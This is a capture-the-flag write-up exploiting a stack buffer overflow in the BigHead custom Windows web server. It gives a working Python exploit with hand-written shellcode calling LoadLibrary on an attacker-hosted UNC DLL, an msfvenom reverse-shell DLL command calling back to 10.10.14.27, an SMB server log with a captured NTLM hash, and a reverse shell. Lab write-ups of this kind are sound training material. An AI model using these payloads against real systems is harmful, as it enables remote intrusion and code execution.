This post will demonstrate one of a few ways to deal with small buffer space when exploiting buffer overflows on Windows. This is not a full writeup of the BigHead machine and only demonstrates the initial buffer overflow exploit using the LoadLibrary function.

Normally, when exploiting buffer overflows on Windows (no DEP) we just cram the shellcode into the buffer itself and find a way to jump to it. If the buffer space is too small to fit the entire shellcode, then a technique called “egg hunting” comes into play. Using this technique a very small 32-40 byte shellcode is used. This code only searches the vulnerable program’s memory for the bigger shellcode and jumps to it. It’s a technique that’s quite universal and works well in most situations.

However, in certain favorable circumstances we can exploit Windows programs in a way which is similar to the Linux system('/bin/sh') one liner.

There are a couple of ways to achieve that:

  1. WinExec(), system() and other similar functions
  2. LoadLibrary()

In order to use any of these functions within a small buffer space, they need to be already imported by the vulnerable program.

In the case of BigHead Web Server, the LoadLibrary function is imported both by the executable itself and bHeadSvr.dll.

So, in short, to achieve a one API call RCE with LoadLibrary we need to load a dll from a UNC path like this:

LoadLibrary('\\attacker_ip\payload.dll')

The only requirement for this to work is that anonymous SMB outbound traffic needs to be allowed. Which is also true for the BigHead box.

Quick Summary

Let’s follow these steps to produce a working exploit using the LoadLibrary() technique:

Detailed Steps

Identify the web server running on the box

Using the standard enumeration techniques we identify a custom web server running on the dev.bighead.htb VHOST on our target. Using some light OSINT we realize that the server binaries are actually hosted on github: https://github.com/3mrgnc3/BigheadWebSvr. We download the commit which has the exe file inside and crack the zip password to extract BigheadWebSvr.exe, bHeadSvr.dll and nginx.conf files.

Analyze web server binaries for vulnerabilities

Reversing the web server executable we identify a potential vulnerabilty in the HTTP HEAD method handling code. The server upon receiving the HEAD /payload request, hex decodes the payload part and passes it to Function4() which in turn executes a strcpy() function and is therefore vulnerable to stack based buffer overflow.

Vuln Function

Set up a test server behind nginx

The vulnerable server on the BigHead box is actually only exposed via nginx reverse proxy. Therefore, in order to properly exploit the server we need to set up a test environment similar to the one found on the box. The requests that will reach our vulnerable server will be forwarded from nginx, so we need to first understand how do they look like. We use the extracted nginx.conf file to run nginx reverse proxy on Kali and see how a sample request looks like coming from nginx and going towards the BigHeadWebSvr binary.

We send a sample request:

root@kali:~/ctf/htb/bighead# nc 127.0.0.1 80
HEAD /test HTTP/1.1
Host: dev.bighead.htb

^C

On the other side it comes out:

root@kali:~# nginx -c nginx.conf
root@kali:~# nc -lvp 8008
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::8008
Ncat: Listening on 0.0.0.0:8008
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:48072.
HEAD /test HTTP/1.1
Host: 127.0.0.1:8008
Connection: close

Create a Proof of Concept exploit to crash the test server

We change the nginx.conf proxy_pass to point to our Windows VM running the BigHeadWebSvr.exe server at http://172.16.14.62:8008;. And then create the following exploit skeleton to crash the binary:

import socket

host = "127.0.0.1"
port = 80

buf = "a" * 100

head = "HEAD /" + buf + " HTTP/1.1\r\n"
head += "Host: dev.bighead.htb\r\n"
head += "Connection: close\r\n"
head += "\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(head)
print s.recv(1024)
s.close()

The server crashes:

Crash

Then, we attach the debugger to inspect the crash closer:

EIP

We can see a couple of interesting pieces of information here:

  1. The payload is hexlified, so the “AA” becomes 0xAA and not 0x41,0x41, this makes it a bit harder to search for EIP offset using mona.py
  2. Our payload is cleanly referenced in the EAX register, so any JMP EAX, CALL EAX or similar instruction will land us into our payload

After a few tries we find the correct offset and the size of our buffer (the size limitation is very important for the steps that will follow):

buf = "aa" * 36 + "bbbbbbbb" + "cc" * 38

Now EIP is cleanly overwritten with 0xBBBBBBBB:

EIP

Now using mona we find suitable instructions to jump to EAX address:

0BADF00D   [+] Command used:
0BADF00D   !mona jmp -r eax

<...snip...>

0BADF00D   [+] Results :
00402AF3     0x00402af3 : jmp eax | startnull {PAGE_EXECUTE_READ} [BigheadWebSvr.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\tmp\BHWS_Backup\BigheadWebSvr.exe)
625012F2     0x625012f2 : jmp eax |  {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\tmp\BHWS_Backup\bHeadSvr.dll)
64552F19     0x64552f19 : jmp eax | asciiprint,ascii {PAGE_EXECUTE_READ} [libmingwex-0.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\tmp\BHWS_Backup\libmingwex-0.dll)
64552F44     0x64552f44 : jmp eax | asciiprint,ascii {PAGE_EXECUTE_READ} [libmingwex-0.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\tmp\BHWS_Backup\libmingwex-0.dll)
64552F89     0x64552f89 : jmp eax |  {PAGE_EXECUTE_READ} [libmingwex-0.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\tmp\BHWS_Backup\libmingwex-0.dll)
004010A1     0x004010a1 : call eax | startnull {PAGE_EXECUTE_READ} [BigheadWebSvr.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\tmp\BHWS_Backup\BigheadWebSvr.exe)

<...snip...>

0BADF00D   [+] Done. Only the first 20 pointers are shown here. For more pointers, open jmp.txt...
0BADF00D       Found a total of 28 pointers
0BADF00D
0BADF00D   [+] This mona.py action took 0:00:00.719000

We choose a dll address (which has no null bytes): 0x625012f2

Now when we replace the BBBBBBBB with f2125062 (little endian, hexlified) - we will overwrite EIP with the address of jmp eax and this jump will redirect program execution to the start of our buffer.

Create an exploit to get a shell on the test server

Now in order to get a shell, all we need to do is execute LoadLibrary('\\IP\payload.dll').

First we find the LoadLibrary() address in the bHeadSvr.dll:

LoadLibrary

The address is 0x62501B58.

Next, we need to load the string \\IP\payload.dll or in our test case \\10.10.14.27\share\x.dll into EAX and call the previously found address.

One thing that we notice is that whatever we put in our buffer AFTER the EIP offset is actually 0x0 terminated, which is perfect for us as it simplifies getting the address of our string into the EAX. So, when we start executing our shellcode the EAX points to the start of our buffer and the UNC address string is where the c's start in our POC:

buf = "aa" * 36 + "bbbbbbbb" + "cc" * 38.

This means that the UNC string is at 36 + 4 = 40 (0x28 hex) bytes from the start of our buffer. Since EAX already holds the address of our buffer, we only need to add 0x28 to it to have our string’s address in there.

We create a small asm shellcode:

load_lib = ""
load_lib += "\x04\x28"                  # add al, 28h
load_lib += "\x50"                      # push eax ; EAX now points to the smb string
load_lib += "\xBB\x58\x1B\x50\x62"      # mov ebx, 62501B58h ; Load EBX with the address of LoadLibrary
load_lib += "\xFF\xD3"                  # call ebx ; Call LoadLibrary()

We use add al, 28h instead of add eax, 28h here to avoid null bytes and shorten the code as much as possible.

So the final exploit becomes:

#!/usr/bin/python
import socket
import binascii

host = "127.0.0.1"
port = 80

load_lib = ""
load_lib += "\x04\x28"                  # add al, 28h
load_lib += "\x50"                      # push eax ; EAX now points to the smb string
load_lib += "\xBB\x58\x1B\x50\x62"      # mov ebx, 62501B58h ; Load EBX with the address of LoadLibrary
load_lib += "\xFF\xD3"                  # call ebx

smb =  "\\\\10.10.14.27\\share\\x.dll"

load_lib = binascii.hexlify(load_lib)
smb = binascii.hexlify(smb)

jmp_eax = 'F2125062'
align_esp = '505C' # push eax, pop esp
buf =  align_esp + load_lib + "90" * 24 + jmp_eax + smb
head = "HEAD /" + buf + " HTTP/1.1\r\n"
head += "Host: dev.bighead.htb\r\n"
head += "Connection: close\r\n"
head += "\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(head)
s.recv(1024)
s.close()

Putting the breakpoint on JMP EAX instruction, running our exploit against the test server and jumping into the buffer we get:

Shellode

Stepping through the instructions we see that everythings works perfectly!

Exploit the BigHead box

Now we change our target IP to the BigHead box (10.10.10.112), generate our dll payload and run our exploit.

Generate the dll payload:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.27 LPORT=443 -f dll -o /tmp/x.dll

Serving this dll with impacket’s SMB server and running our exploit against the target:

root@kali:~# python /usr/share/doc/python-impacket/examples/smbserver.py SHARE /tmp
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (127.0.0.1,54224)
[*] AUTHENTICATE_MESSAGE (PIEDPIPER\Nelson,PIEDPIPER)
[*] User Nelson\PIEDPIPER authenticated successfully
[*] Nelson::PIEDPIPER:4141414141414141:2af65562d1132c80bc7efe34d19995a1:010100000000000080bad4d617ead40194578ebe843541430000000001001000650055005700630050004f005a006a0002001000550054004700630064004b004d00520003001000650055005700630050004f005a006a0004001000550054004700630064004b004d0052000700080080bad4d617ead40106000400020000000800300030000000000000000000000000200000161c779cadb5b7efab3d2f3e700187b0f5b695485a01b518fac14222bfb5db1a000000000000000000000000

And we receive a reverse shell:

$ sudo nc -lvp 443
[sudo] password for ms:
Listening on [0.0.0.0] (family 0, port 443)
Connection from bighead.htb 49160 received!
Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\nginx>whoami & hostname
whoami & hostname
piedpiper\nelson
PiedPiper

C:\nginx>

Thanks for reading!